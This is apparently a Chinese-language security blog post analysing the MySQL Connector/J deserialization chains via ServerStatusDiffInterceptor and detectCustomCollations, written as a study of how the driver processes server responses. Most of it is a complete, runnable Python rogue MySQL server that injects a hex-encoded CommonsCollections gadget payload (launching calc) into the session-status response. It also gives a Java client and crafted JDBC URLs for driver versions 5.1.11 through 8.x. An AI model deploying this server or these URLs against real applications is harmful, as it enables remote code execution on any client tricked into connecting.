JDBC 反序列化链

2025-03-06 1 0

ServerStatusDiffInterceptor链

前提

环境版本：

<dependency>  
        <groupId>mysql</groupId>  
        <artifactId>mysql-connector-java</artifactId>  
        <version>8.0.19</version>  
    </dependency>  
  
<dependency>  
    <groupId>commons-collections</groupId>  
    <artifactId>commons-collections</artifactId>  
    <version>3.2.1</version>  
</dependency>

配置代码：

package com.kiwi;  
  
import java.sql.*;  
  
public class Main {  
    public static void main(String[] args) throws SQLException {  
        /*  
         * 向Dept表增加一条数据  
         * */        // 1、加载数据  
        Driver driver = new com.mysql.jdbc.Driver(); // 接口等于实现类，来表示多态化  
        // 2、注册驱动  
        DriverManager.registerDriver(driver);  
     String url = "jdbc:mysql://127.0.0.1:3306/ofcms?useSSL=false&useUnicode=true&characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"; // mysql8当中比较固定的写法  
        Connection connection = DriverManager.getConnection(url,"root","root"); // 类似于http协议  
  
        connection.close();  
    }  
}

Python写法：

# -*-coding:utf-8-*-  
import socket  
import binascii  
import os  
  
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"  
response_ok_data="0700000200000002000000"  
  
def receive_data(conn):  
    data = conn.recv(1024)  
    print("[*] Receiveing the package : {}".format(data))  
    return str(data).lower()  
  
def send_data(conn,data):  
    print("[*] Sending the package : {}".format(data))  
    conn.send(binascii.a2b_hex(data))  
  
def get_payload_content():  
    #file文件的内容使用ysoserial生成的 使用规则：java -jar ysoserial [Gadget] [command] > payload  
    file= r'payload'  
    if os.path.isfile(file):  
        with open(file, 'rb') as f:  
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')  
        print("open successs")  
  
    else:  
        print("open false")  
        #calc  
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'  
    return payload_content  
  
# 主要逻辑  
def run():  
  
    while 1:  
        conn, addr = sk.accept()  
        print("Connection come from {}:{}".format(addr[0],addr[1]))  
  
        # 1.先发送第一个 问候报文  
        send_data(conn,greeting_data)  
  
        while True:  
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok  
            receive_data(conn)  
            send_data(conn,response_ok_data)  
  
            #其他过程  
            data=receive_data(conn)  
            #查询一些配置信息,其中会发送自己的 版本号  
            if "session.auto_increment_increment" in data:  
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'  
                send_data(conn,_payload)  
                data=receive_data(conn)  
            elif "show warnings" in data:  
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'  
                send_data(conn, _payload)  
                data = receive_data(conn)  
            if "set names" in data:  
                send_data(conn, response_ok_data)  
                data = receive_data(conn)  
            if "set character_set_results" in data:  
                send_data(conn, response_ok_data)  
                data = receive_data(conn)  
            if "show session status" in data:  
                mysql_data = '0100000102'  
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'  
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'  
                # 为什么我加了EOF Packet 就无法正常运行呢？？  
                # 获取payload  
                payload_content=get_payload_content()  
                # 计算payload长度  
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)  
                payload_length_hex = payload_length[2:4] + payload_length[0:2]  
                # 计算数据包长度  
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)  
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]  
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex  
                mysql_data += str(payload_content)  
                mysql_data += '07000005fe000022000100'  
                send_data(conn, mysql_data)  
                data = receive_data(conn)  
            if "show warnings" in data:  
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'  
                send_data(conn, payload)  
            break  
  
  
if __name__ == '__main__':  
    HOST ='0.0.0.0'  
    PORT = 3306  
  
    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间  
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)  
    sk.bind((HOST, PORT))  
    sk.listen(1)  
  
    print("start fake mysql server listening on {}:{}".format(HOST,PORT))  
  
    run()

利用链

在下方打断点，步入

DriverManager.getConnection(url,"root","root");

部分链子如下：

getObject:1209, ResultSetImpl (com.mysql.cj.jdbc.result)
resultSetToMap:46, ResultSetUtil (com.mysql.cj.jdbc.util)
populateMapWithSessionStatusValues:87,ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:105,ServerStatusDiffInterceptor(com.mysql.cj.jdbc.interceptors)
preProcess:76, NoSubInterceptorWrapper (com.mysql.cj)



invokeQueryInterceptorsPre:1040,NativeProtocol(com.mysql.cj.protocol.a)
sendQueryPacket:926, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryString:887, NativeProtocol (com.mysql.cj.protocol.a)
execSQL:1073, NativeSession (com.mysql.cj)
setAutoCommit:2046, ConnectionImpl (com.mysql.cj.jdbc)
handleAutoCommitDefaults:1373, ConnectionImpl (com.mysql.cj.jdbc)
initializePropsFromServer:1318, ConnectionImpl (com.mysql.cj.jdbc)
connectOneTryOnly:967, ConnectionImpl (com.mysql.cj.jdbc)
createNewIO:826, ConnectionImpl (com.mysql.cj.jdbc)
<init>:456, ConnectionImpl (com.mysql.cj.jdbc)
getInstance:246, ConnectionImpl (com.mysql.cj.jdbc)
connect:197, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:-1, DriverManager (java.sql)
getConnection:-1, DriverManager (java.sql)
main:27, Main (com.kiwi)

细节解释

&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

其实在com.mysql.cj.protocol.a.NativeProtocol#sendQueryPacket之前都是没有什么区别的，在com.mysql.cj.protocol.a.NativeProtocol#sendQueryPacket函数下的下面代码当中：

if (this.queryInterceptors != null) {  
    T interceptedResults = invokeQueryInterceptorsPre(query, callingQuery, false);  
    if (interceptedResults != null) {  
        return interceptedResults;  
    }  
}

此处判断queryInterceptors是否为空，如果为空，那么就无法执行后面的代码，那么他来自于哪？

来源于com.mysql.cj.protocol.a.NativeProtocol#setQueryInterceptors也是来源于com.mysql.cj.jdbc.ConnectionImpl#connectWithRetries下的this.session.setQueryInterceptors(this.queryInterceptors);

也是来自于此:com.mysql.cj.jdbc.ConnectionImpl#initializeSafeQueryInterceptors

@Override  
public void initializeSafeQueryInterceptors() throws SQLException {  
    this.queryInterceptors = Util  
            .<QueryInterceptor>loadClasses(this.propertySet.getStringProperty(PropertyKey.queryInterceptors).getStringValue(),  
                    "MysqlIo.BadQueryInterceptor", getExceptionInterceptor())  
            .stream().map(o -> new NoSubInterceptorWrapper(o.init(this, this.props, this.session.getLog()))).collect(Collectors.toList());  
}

看不懂？献祭出deepseek！
JDBC 反序列化链插图
那么为什么必须是com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor?

因为在com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues下有ResultSetUtil.resultSetToMap(toPopulate, rs);他下面有我们最想要的readObject。

实际上在com.mysql.cj.NoSubInterceptorWrapper#preProcess(java.util.function.Supplier<java.lang.String>, com.mysql.cj.Query)之前，是固定的，也就是说如果还有其他的部分也可以做为另外的利用链来进行后半部分。剧透：其实还有detectCustomCollation链！

第一个参数成功解决，还有第二个，为什么需要第二个参数？来问问deepseek，第二个参数的含义：
JDBC 反序列化链插图1
这就和我们构造的python payload有联系了。

Payload 构造

来自【WEB】Java JDBC反序列化 | 狼组安全团队公开知识库当中的payload是使用CC5 链子，其实我们可以多元化。使用Apache CommonsCollections 的所有链子均可（要版本符合）。

其他版本

8.x

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

6.x

queryInterceptors变为为statementInterceptors

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

>=5.1.11

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

detectCustomCollations链

与之前的都差不多，只是差在了com.mysql.jdbc.ConnectionImpl#buildCollationMapping下的：

if (versionMeetsMinimum(5, 0, 0)) {  
    Util.resultSetToMap(sortedCollationMap, results, 3, 2);  
}

依然与上述部分是一样的。

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